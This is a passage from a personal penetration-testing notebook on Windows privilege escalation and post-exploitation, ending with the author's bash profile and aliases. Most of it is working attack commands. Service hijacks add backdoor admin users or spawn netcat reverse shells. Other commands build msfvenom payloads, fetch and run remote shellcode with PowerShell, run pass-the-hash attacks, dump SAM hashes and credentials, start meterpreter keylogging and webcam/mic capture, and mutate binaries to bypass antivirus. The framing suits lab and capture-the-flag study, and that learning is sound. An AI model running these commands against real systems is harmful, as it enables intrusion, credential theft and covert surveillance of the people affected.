echo %username% ``` ``` getuid ``` ### List all users ``` net users ``` #### Firewall information ``` netsh firewall show state netsh firewall show config ``` #### List scheduled tasks ``` schtasks /query /fo LIST /v ``` #### List windows services ``` net start ``` ``` wmic service list brief ``` Links running processes to started services ``` tasklist /SVC ``` ## Incorrect permissions in services A service running as Administrator/SYSTEM with incorrect file permissions might allow PE. You can replace the binary, restart the service and get system. We are interested in services where permissions are: **BUILTIN\Users** with **(F)** or **(C)** or **(M)** for our group. More info about permissions: ``` https://msdn.microsoft.com/en-us/library/bb727008.aspx ``` Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running: ``` wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` ``` sc start/stop serviceName ``` #### Obtain the permission string of all services ``` sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @sc sdshow %i & @echo ---------) & del a 2>nul & del b 2>nul ``` The following commands will print the affected services: ``` for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" ``` If wmic is not available we can use sc.exe: ``` sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt ``` You can also manually check each service using cacls: ``` cacls "C:\path\to\file.exe" ``` If you don't have access to wmic, you can do: ``` sc qc upnphost ``` Windows XP SP1 is known to be vulnerable to PE in **upnphost**. You get Administrator with: ``` sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe YOUR_IP 1234 -e C:\WINDOWS\System32\cmd.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost ``` If it fails because of a missing dependency, run the following: ``` sc config SSDPSRV start= auto net start SSDPSRV net start upnphost ``` Or remove the dependency: ``` sc config upnphost depend= "" ``` Using meterpreter: ``` exploit/windows/local/service_permissions ``` ## acesschk.exe If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed: ``` https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe ``` ``` accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula accesschk.exe -qdws Users C:\Windows\ ``` Then query the service using Windows sc: ``` sc qc ``` Then change the binpath to execute your own commands (restart of the service will most likely be needed): ``` sc config binpath= "net user backdoor backdoor123 /add" sc stop sc start sc config binpath= "net localgroup Administrators backdoor /add" sc stop sc start ``` Note - Might need to use the depend attribute explicitly:sc stop \ ``` sc config binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\LocalSystem" password= "" sc start ``` ## Juicy Potato (abusing the golden privileges) If you have *SeAssingPrimaryToken* or *SeImpersonate* privileges, you can get SYSTEM. ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LrSq2cmgGPBos7pLdE-%2F-LrSqgBwM9JMiL0BcdS8%2Fimage.png?alt=media\&token=1a30fb99-baf9-4ed3-b5b8-02c19d8e6db0) ### Vulnerable Win versions ``` Windows 7 Enterprise Windows 8.1 Enterprise Windows 10 Enterprise Windows 10 Professional Windows Server 2008 R2 Enterprise Windows Server 2012 Datacenter Windows Server 2016 Standard ``` create payload ``` msfvenom -p windows/shell_reverse_tcp LHOST=$kaliip LPORT=444 -e x86/shikata_ga_nai -f exe -o rev.exe ``` run juicy potato ``` JuicyPotato.exe -l 1340 -p C:\users\User\rev.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} ``` capture connection ``` rlwrap nc -lnvp 444 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::444 Ncat: Listening on 0.0.0.0:444 Ncat: Connection from $ip. Ncat: Connection from $ip:54805. Microsoft Windows [Version 10.0.17134.590] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> ``` ## Find unquoted paths If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every white space, to find the binary in every intermediate folder. For example, the following path would be vulnerable: {% hint style="danger" %} ``` C:\Program Files\something\winamp.exe ``` {% endhint %} Not vulnerable {% hint style="success" %} ``` "C:\Program Files\something\winamp.exe" ``` {% endhint %} **Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):** ``` sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul ``` We could place our payload with any of the following paths: ``` C:\winamp.exe (this is a reverse shell with the same names as legal program) ``` #### The following command will display affected services: ``` wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ ``` ### Check Permissions We might even be able to override the service executable, always check out the permissions of the service binary: ``` icacls "C:\Program Files (x86)\Program Folder" ``` You can automate with meterpreter: ``` exploit/windows/local/trusted_service_path ``` ## PowerUp PowerUp is an extremely useful script for quickly checking for obvious paths to privilege escalation on Windows. It is not an exploit itself, but it can reveal vulnerabilities such as administrator password stored in registry and similar. We shamelessly use [harmj0y's guide](https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/) as reference point for the following guide. Some basic knowledge about how to import Powershell modules and used them is required. PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations Import the PowerUp module with the following: `PS C:\>` `Import-Module PowerUp.ps1` ### **CanRestart** |

The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!

Use msfvenom to generate a reverse shell as an Windows executable.

| | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | If you want to invoke everything without touching disk, use something like this: `C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”` ## Finding stuff fast #### ClearText passwords (quick hits) `findstr /s /C:"stringtosearchfor.txt" "C:*"` We might sometimes find passwords in arbitrary files, you can find them running: ``` findstr /si password *.txt findstr /si password *.xml findstr /si password *.ini ``` #### Find all those strings in config files. ``` dir /s *pass* == *cred* == *vnc* == *.config* ``` #### Find all passwords in all files. ``` findstr /spin "password" *.* ``` ``` findstr /spin "password" *.* ``` These are common files to find them in. They might be base64-encoded. So look out for that. ``` type c:\sysprep.inf type c:\sysprep\sysprep.xml type c:\unattend.xml type %WINDIR%\Panther\Unattend\Unattended.xml type %WINDIR%\Panther\Unattended.xml ``` ``` dir c:*vnc.ini /s /b dir c:*ultravnc.ini /s /b dir c:\ /s /b | findstr /si *vnc.ini ``` #### Stuff in the registry: ``` reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password ``` #### Using meterpreter: ``` post/windows/gather/credentials/gpp post/windows/gather/enum_unattend ``` ## Pass the hash Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password. Windows hash format: ``` user:group:id:ntlmpassword:: ``` You can do a hash dump in the affected system running: ``` wce32.exe -w wce64.exe -w fgdump.exe ``` Download and run fgdump.exe on the target machine. ``` cd /usr/share/windows-binaries/fgdump; python -m SimpleHTTPServer 80 ``` ``` pth-winexe -U DOMAIN/user%hash //$ip cmd ``` or: ``` export SMBHASH=xxx pth-winexe -U user% //$ip cmd ``` You can also do run as, with the hash: ### Technique 1: ``` C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` ### Technique 2: ``` secpasswd = ConvertTo-SecureString "" -AsPlainText -Force mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) computer = "" [System.Diagnostics.Process]::Start("C:\users\public\nc.exe"," 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) ``` ``` powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1 ``` ### Technique 3: ``` psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 4444 -e cmd.exe" ``` ## Services only available from loopback You can find services bind to the loopback interface that are not reachable through the network running. Look for **LISTENING/LISTEN**: ``` netstat -ano ``` Port forward using plinplink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080 Port forward using meterpreter ``` portfwd add -l -p -r portfwd add -l 3306 -p 3306 -r 192.168.1.101 ``` #### If powershell is blocked, you can download: ``` https://github.com/Ben0xA/nps ``` Once you know the updates installed, you can find known exploits using windows-exploit-suggester. ``` ./windows-exploit-suggester.py -d 2017-02-09-mssb.xls -p ms16-075 [*] initiating winsploit version 3.2… [*] database file detected as xls or xlsx based on extension [*] searching all kb’s for bulletin id MS16-075 [+] relevant kbs [‘3164038’, ‘3163018’, ‘3163017’, ‘3161561’] [*] done ``` {% hint style="warning" %} In March 2017 Microsoft stopped maintaining the security bulletin search. This means the Windows Exploit Suggester database will not include any vulnerabilities or exploits found after that date. Still, this tool can still be very useful on older systems. {% endhint %} #### Compile windows exploit in linux: ``` i686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exe ``` #### Compiling python scripts to executables: ``` wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile 18176.py ``` ## AlwaysInstallElevated **AlwaysInstallElevated** is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. Check if these 2 registry values are set to "1"reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` If they are, create your own malicious msi: ``` msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi ``` Then use msiexec on victim to execute your msi: ``` msiexec /quiet /qn /i C:\evil.msi ``` Metasploit module: ``` use exploit/windows/local/always_install_elevated ``` ### Windows-privesc-checker2 ``` https://github.com/pentestmonkey/windows-privesc-check/archive/master.zip ``` ## Vulnerable drivers Third party drivers might contain vulnerabilities, find them running: ``` DRIVERQUERY ``` ## Kernel vulnerabilities #### Run exploit suggester against systeminfo: {% hint style="info" %} Don't rely on this - there are a lot of false positive! This is generally a last resort. {% endhint %} ``` https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py ``` ``` python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt ``` #### Find installed paths: ``` wmic qfe get Caption,Description,HotFixID,InstalledOn ``` ### Comprehensive tables of vulnerabilities below: ``` [+] Windows vulnerabilities: Windows XP: CVE-2012-4349 Unquoted windows search path - Windows provides the capability of including spaces in path names - can be root CVE-2011-1345 Internet Explorer does not properly handle objects in memory - allows remote execution of code via object CVE-2010-3138 EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via a Trojan horse CVE-2011-5046 EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code execution CVE-2002-1214 ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packets - code execution, DoS CVE-2003-0352 ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service CVE-2003-0533 MS04-011 - ms04_011_lsass - exploits a stack buffer overflow in the LSASS service CVE-2003-0719 ms04_011_pct - exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack - Private communication target overflow CVE-2010-3970 ms11_006_createsizeddibsection - exploits a stack-based buffer overflow in thumbnails within .MIC files - code execution CVE-2010-3147 EXPLOIT-DB 14745 - Untrusted search path vulnerability in wab.exe - allows local users to gain privileges via a Trojan horse CVE-2003-0812 ms03_049_netapi - exploits a stack buffer overflow in the NetApi32 CVE-2003-0818 ms04_007_killbill - vulnerability in the bit string decoding code in the Microsoft ASN.1 library CVE-2003-0822 ms03_051_fp30reg_chunked - exploit for the chunked encoding buffer overflow described in MS03-051 CVE-2004-0206 ms04_031_netdde - exploits a stack buffer overflow in the NetDDE service Windows 7: CVE-2014-4114 ms14_060_sandworm - exploits a vulnerability found in Windows Object Linking and Embedding - arbitrary code execution CVE-2015-0016 ms15_004_tswbproxy - abuses a process creation policy in Internet Explorer's sandbox - code execution CVE-2014-4113 ms14_058_track_popup_menu - exploits a NULL Pointer Dereference in win32k.sys - arbitrary code execution CVE-2010-3227 EXPLOIT-DB - Stack-based buffer overflow in the UpdateFrameTitleForDocument method - arbitrary code execution CVE-2018-8494 remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input CVE-2010-2744 EXPLOIT-DB 15894 - kernel-mode drivers in windows do not properly manage a window class - allows privileges escalation CVE-2010-0017 ms10_006_negotiate_response_loop - exploits a denial of service flaw in the Microsoft Windows SMB client - DoS CVE-2010-0232 ms10_015_kitrap0d - create a new session with SYSTEM privileges via the KiTrap0D exploit CVE-2010-2550 ms10_054_queryfs_pool_overflow - exploits a denial of service flaw in the Microsoft Windows SMB service - DoS CVE-2010-2568 ms10_046_shortcut_icon_dllloader - exploits a vulnerability in the handling of Windows Shortcut files (.LNK) - run a payload Windows 8: CVE-2013-0008 ms13_005_hwnd_broadcast - attacker can broadcast commands from lower Integrity Level process to a higher one - privilege escalation CVE-2013-1300 ms13_053_schlamperei - kernel pool overflow in Win32k - local privilege escalation CVE-2013-3660 ppr_flatten_rec - exploits EPATHOBJ::pprFlattenRec due to the usage of uninitialized data - allows memory corruption CVE-2013-3918 ms13_090_cardspacesigninhelper - exploits CardSpaceClaimCollection class from the icardie.dll ActiveX control - code execution CVE-2013-7331 ms14_052_xmldom - uses Microsoft XMLDOM object to enumerate a remote machine's filenames CVE-2014-6324 ms14_068_kerberos_checksum - exploits the Microsoft Kerberos implementation - privilege escalation CVE-2014-6332 ms14_064_ole_code_execution - exploits the Windows OLE Automation array vulnerability CVE-2014-6352 ms14_064_packager_python - exploits Windows Object Linking and Embedding (OLE) - arbitrary code execution CVE-2015-0002 ntapphelpcachecontrol - NtApphelpCacheControl Improper Authorization Check - privilege escalation Windows 10: CVE-2015-1769 MS15-085 - Vulnerability in Mount Manager - Could Allow Elevation of Privilege CVE-2015-2426 ms15_078_atmfd_bof MS15-078 - exploits a pool based buffer overflow in the atmfd.dll driver CVE-2015-2479 MS15-092 - Vulnerabilities in .NET Framework - Allows Elevation of Privilege CVE-2015-2513 MS15-098 - Vulnerabilities in Windows Journal - Could Allow Remote Code Execution CVE-2015-2423 MS15-088 - Unsafe Command Line Parameter Passing - Could Allow Information Disclosure CVE-2015-2431 MS15-080 - Vulnerabilities in Microsoft Graphics Component - Could Allow Remote Code Execution CVE-2015-2441 MS15-091 - Vulnerabilities exist when Microsoft Edge improperly accesses objects in memory - allows remote code execution CVE-2015-0057 exploits GUI component of Windows namely the scrollbar element - allows complete control of a Windows machine Windows Server 2003: CVE-2008-4114 ms09_001_write - exploits a denial of service vulnerability in the SRV.SYS driver - DoS CVE-2008-4250 ms08_067_netapi - exploits a parsing flaw in the path canonicalization code of NetAPI32.dll - bypassing NX CVE-2017-8487 allows an attacker to execute code when a victim opens a specially crafted file - remote code execution ``` ``` https://github.com/SecWiki/windows-kernel-exploits ``` ### Windows version map ``` Operating System Version Number Windows 1.0 1.04 Windows 2.0 2.11 Windows 3.0 3 Windows NT 3.1 3.10.528 Windows for Workgroups 3.11 3.11 Windows NT Workstation 3.5 3.5.807 Windows NT Workstation 3.51 3.51.1057 Windows 95 4.0.950 Windows NT Workstation 4.0 4.0.1381 Windows 98 4.1.1998 Windows 98 Second Edition 4.1.2222 Windows Me 4.90.3000 Windows 2000 Professional 5.0.2195 Windows XP 5.1.2600 Windows Vista 6.0.6000 Windows 7 6.1.7600 Windows 8.1 6.3.9600 Windows 10 10.0.10240 ``` ## Automated tools ### Powersploit PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment ``` https://github.com/PowerShellMafia/PowerSploit Get-GPPPassword Get-UnattendedInstallFile Get-Webconfig Get-ApplicationHost Get-SiteListPassword Get-CachedGPPPassword Get-RegistryAutoLogon ``` ### **Reverse Shell from Windows** If there’s a way, we can execute code from windows, we may try * Uploading ncat and executing it * Powershell Empire/ Metasploit Web-Delivery Method * Invoke-Shellcode (from powersploit) see below ``` Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://YourIPAddress:8000/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost YourIPAddress -Lport 4444 -Force" ``` ### Metasploit ``` post/windows/gather/credentials/gpp post/windows/gather/enum_unattend ``` ``` getsystem getprivs use priv hashdump ``` ### Metasploit incognito ``` use incognito list_tokens -u list_tokens -g impersonate_token DOMAIN_NAME\\USERNAME steal_token PID drop_token rev2self ``` ### Useful commands #### Add a new user ``` net user test 1234 /add net localgroup administrators test /add ``` #### Print files contents: ``` type file ``` #### Remove file ``` del /f file ``` #### Change password for user: ``` net user ``` #### List users: ``` net user ``` #### Info about a user: ``` net user ``` #### Permissions on a folder recursively: ``` cacls *.* /t /e /g domainname\administrator:f ``` ## Enable RDP access This is useful to do because generally it is easier to manipulate windows using the GUI. The downside is that you're most definitely will have an impact on the machine, as you may have to create a user or change a user's password to get in. ``` reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable ``` #### Disable firewall ``` netsh firewall set opmode disable ``` #### Run exploit ``` C:\tmp>powershell -ExecutionPolicy ByPass -command "& { . C:\tmp\Invoke-MS16-032.ps1; Invoke-MS16-032 }" ``` ### JAWS ``` https://411hall.github.io/JAWS-Enumeration/ ``` ## Metasploit Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions ``` exploit/windows/local/service_permissions ``` ## Other scripts ``` https://github.com/GDSSecurity/Windows-Exploit-Suggester https://github.com/Jean13/Penetration_Testing/blob/master/Privilege_Escalation/windows-privesc-check2.exe ``` [GDSSecurity's Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester/) worked excellently for operating systems in the Windows XP and Windows Vista era, GDSSecurity's Windows-Exploit-Suggester does not work for operating systems like Windows 10 and vulnerabilities published in recent years. This is because Microsoft replaced the Microsoft Security Bulletin Data Excel file \[1] on which GDSSecurity's Windows-Exploit-Suggester is fully dependent, by the MSRC API \[2]. The Microsoft Security Bulletin Data Excel file has not been updated since Q1 2017, so later operating systems and vulnerabilities cannot be detected. Thanks [@gdssecurity](https://twitter.com/gdssecurity), for this great tool which has served many of us for so many years! ``` https://github.com/bitsadmin/wesng.git ``` ## Useful exploits ### Automatically downloads and compiles exploit ``` wget https://raw.githubusercontent.com/wwong99/pentest-notes/master/scripts/xploit_installer.py ``` ``` USAGE: xploit_installer.py ``` ### Windows Remote Exploits: ``` 0: windows_exploit_suggester 1: ms03-026 2: ms03-039 (1) 3: ms03-039 (2) 4: *ms03-049 5: ms04-007 6: ms04-011 - ssl bof 7: ms04-011 - lsasarv.dll 8: ms04-031 9: ms05-017 10: ms05-039 11: *ms06-040 (1) 12: ms06-040 (2) 13: ms06-070 14: *ms08-067 (1) 15: ms08-067 (2) 16: ms08-067 (3) 17: *ms09-050 ``` ### Windows Local Exploits: ``` 18: windows-privesc-check 19: ms04-011 20: ms04-019 (1) 21: ms04-019 (2) 22: ms04-019 (3) 23: ms04-020 24: *keybd_event 25: *ms05-018 26: *ms05-055 27: ms06-030 28: ms06-049 29: print spool service 30: *ms08-025 31: netdde 32: ms10-015 33: ms10-059 34: ms10-092 35: ms11-080 36: ms14-040 37: *ms14-058 (1) 38: ms14-058 (2) 39: *ms14-070 (1) 40: ms14-070 (2) 41: *ms15-010 (1) 42: *ms15-010 (2) 43: ms15-051 44: *ms16-014 45: ms16-016 46: ms16-032 ``` Check out: ``` http://www.bhafsec.com/wiki/index.php/Windows_Privilege_Escalation ``` #### Windows Server 2003 and IIS 6.0 privilege escalation using impersonation: ``` https://www.exploit-db.com/exploits/6705/ ``` ``` https://github.com/Re4son/Churrasco ``` ``` c:\Inetpub>churrasco churrasco /churrasco/-->Usage: Churrasco.exe [-d] "command to run" c:\Inetpub>churrasco -d "net user /add " c:\Inetpub>churrasco -d "net localgroup administrators /add" ``` ### Windows MS11-080 ``` python pyinstaller.py --onefile ms11-080.py ``` ``` mx11-080.exe -O XP ``` From admin to system ``` psexec.exe -i -s %SystemRoot%\system32\cmd.exe ``` ``` https://github.com/Cn33liz/EasySystem ``` ### AV bypass Generating a mutated binary to bypass antiviruses ``` wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe ``` ## Access Check You will probably need to accept the eula first: ``` accesschk.exe /accepteula ``` ## Windows hashes {% hint style="success" %} if you capture a hash - put it into Google someone might have cracked it before {% endhint %} NTLM and LM passwords are located in the SAM file in **C:\\\Windows\SYSTEM32\CONFIG** LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14). NTLM/NTLM2: It does not split the password, also stored in uppercase Kerberos: Default protocol for active directory envs.PoCs Add user to administrator group ``` #include int main () { int i; i = system("net localgroup administrators theusername /add"); return 0; } ``` ``` i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe ``` #### Run an arbitrary command: ``` echo -e '#include \n#include poc.c ``` ## Print proof ``` echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt" ``` {% embed url="" %} # Loot Grab all the things ### Meterpreter If you have a meterpreter shell you are able to do a lot of thing with very little effort. If you do not have a meterpreter-shell you can always create a exploit with msfvenom. An elf or exe or other format to upgrade your shell. Show help of all commands: ``` -h ``` **Dump windows hashes for further analysis** ``` hashdump ``` Keylogger ``` keysscan_start keyscan_dump keyscan_stop ``` **Mic and webcam commands** ``` record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam ``` ### Dumping passwords and hashes on windows This most likely requires administrative rights, that's why the chapter is found here and not in priv-esc. Once you have a hash you can move on to the Password Cracking-chapter where we discuss different techniques of cracking hashes. Windows stores passwords in SAM - Security Account Manager. Passwords are stored differently depending on the operating system. Up until (and including) Windows 2003 stored the passwords in LAN Manager (LM) and NT LAN Manager (NTLM). LM is incredibly insecure. From windows vista and on the system does not use LM, only NTLM. So it is a bit more secure. **LM and NTLM >= Windows 2003** **NTLM > Windows vista** #### LM Hashes LM hashes can be really easy to crack. The LM part in the example below is the first part. ``` Administrator:500:FA21A6D3CF(01B8BAAD3B435B51404EE:C294D192B82B6AA35C3DFCA81F1F59BC::: ``` Example of NT ``` Administrator:500:NO PASSWORD*********************:BE134K40129560B46534340292AF4E72::: ``` #### fgdump.exe We can use `fgdump.exe` (`locate fgdump.exe` on kali) to extract NTLM and LM Password hashes. Run it and there is a file called 127.0.0.1.pwndump where the hash is saved. Now you can try to brute force it. #### Windows Credential Editor (WCE) WCE can steal NTLM passwords from memory in cleartext! There are different versions of WCE, one for 32 bit systems and one for 64 bit. So make sure you have the right one. You can run it like this ``` wce32.exe -w ``` #### Loot registry without tools This might be a better technique than using tools like wce and fgdump, since you don't have to upload any binaries. Get the registry: ``` C:\> reg.exe save hklm\sam c:\windows\temp\sam.save C:\> reg.exe save hklm\security c:\windows\temp\security.save C:\> reg.exe save hklm\system c:\windows\temp\system.save ``` The hashes can be extracted using `secretdump.py` or `pwdump` #### Pwdump 7 ### VNC VNC require a specific password to log in to. So it is not the same password as the user password. If you have a meterpreter shell you can run the post exploit module to get the VNC password. ``` background use post/windows/gather/credentials/vnc set session X exploit ``` ### Tcp-dump on Windows You can use meterpreter to easily take a tcp-dump, like this: ``` # Meterpreter run packetrecorder -li run packetrecorder -i 1 ``` #### Search for interesting files ``` #Meterpreter search -f *.txt search -f *.zip search -f *.doc search -f *.xls search -f config* search -f *.rar search -f *.docx search -f *.sql # Recursive search dir /s ``` ### References This is a great post [
](https://xapax.gitbooks.io/security/content/loot.html) # My bash Profile Files ## .bashrc ``` # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # If not running interactively, don't do anything case $- in *i*) ;; *) return;; esac # don't put duplicate lines or lines starting with space in the history. # See bash(1) for more options HISTCONTROL=ignoreboth # append to the history file, don't overwrite it shopt -s histappend # for setting history length see HISTSIZE and HISTFILESIZE in bash(1) HISTSIZE=100000 HISTFILESIZE=200000 # check the window size after each command and, if necessary, # update the values of LINES and COLUMNS. shopt -s checkwinsize # If set, the pattern "**" used in a pathname expansion context will # match all files and zero or more directories and subdirectories. #shopt -s globstar # make less more friendly for non-text input files, see lesspipe(1) #[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)" # set variable identifying the chroot you work in (used in the prompt below) if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then debian_chroot=$(cat /etc/debian_chroot) fi # set a fancy prompt (non-color, unless we know we "want" color) case "$TERM" in xterm-color) color_prompt=yes;; esac # uncomment for a colored prompt, if the terminal has the capability; turned # off by default to not distract the user: the focus in a terminal window # should be on the output of commands, not on the prompt force_color_prompt=yes if [ -n "$force_color_prompt" ]; then if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then # We have color support; assume it's compliant with Ecma-48 # (ISO/IEC-6429). (Lack of such support is extremely rare, and such # a case would tend to support setf rather than setaf.) color_prompt=yes else color_prompt= fi fi if [ "$color_prompt" = yes ]; then PS1='${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' else PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ' fi unset color_prompt force_color_prompt # If this is an xterm set the title to user@host:dir case "$TERM" in xterm*|rxvt*) PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1" ;; *) ;; esac # enable color support of ls and also add handy aliases if [ -x /usr/bin/dircolors ]; then test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)" alias ls='ls --color=auto' #alias dir='dir --color=auto' #alias vdir='vdir --color=auto' alias grep='grep --color=auto' alias fgrep='fgrep --color=auto' alias egrep='egrep --color=auto' fi # some more ls aliases #alias ll='ls -l' #alias la='ls -A' alias ls='ls -CF' # Alias definitions. # You may want to put all your additions into a separate file like # ~/.bash_aliases, instead of adding them here directly. # See /usr/share/doc/bash-doc/examples in the bash-doc package. if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases fi # enable programmable completion features (you don't need to enable # this, if it's already enabled in /etc/bash.bashrc and /etc/profile # sources /etc/bash.bashrc). if ! shopt -oq posix; then if [ -f /usr/share/bash-completion/bash_completion ]; then . /usr/share/bash-completion/bash_completion elif [ -f /etc/bash_completion ]; then . /etc/bash_completion fi fi export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/pmp copy_interface_ip() { ip addr show $@ | grep inet -m1 | awk '{print $2}' | echo -n $(cut -d/ -f1) | xclip -selection c } ### ARCHIVE EXTRACTION # usage: ex ex () { if [ -f $1 ] ; then case $1 in *.tar.bz2) tar xjf $1 ;; *.tar.gz) tar xzf $1 ;; *.bz2) bunzip2 $1 ;; *.rar) unrar x $1 ;; *.gz) gunzip $1 ;; *.tar) tar xf $1 ;; *.tbz2) tar xjf $1 ;; *.tgz) tar xzf $1 ;; *.zip) unzip $1 ;; *.Z) uncompress $1;; *.7z) 7z x $1 ;; *.deb) ar x $1 ;; *.tar.xz) tar xf $1 ;; *.tar.zst) unzstd $1 ;; *) echo "'$1' cannot be extracted via ex()" ;; esac else echo "'$1' is not a valid file" fi } export HISTCONTROL=ignoredups:erasedups export RBL=/usr/share/wordlists/rbl.txt export ROCKYOU=/usr/share/wordlists/rockyou.txt export MEDIUM=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` ## bash\_aliases ``` alias nmap="grc nmap" alias findvm="grc nmap -sn -sV 192.168.1.0/24 | grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' | sort" alias namp="grc nmap" alias vhlvpn="openfortivpn vpnc03.virtualhackinglabs.com:443 -u USERHERE-p PASSHERE" alias thmvpn="openvpn ~/Desktop/tryhackme/rowbot.ovpn" alias htbvpn="openvpn ~/Desktop/htb/rowbot.ovpn" alias enum4linux="/opt/enum4linux-ng/enum4linux-ng.py" alias wgetfiles="echo wget -nd -np -R "index.html*" -P /tmp/rowbot --recursive http:// | xclip" alias getip="ip addr show tun0 | grep 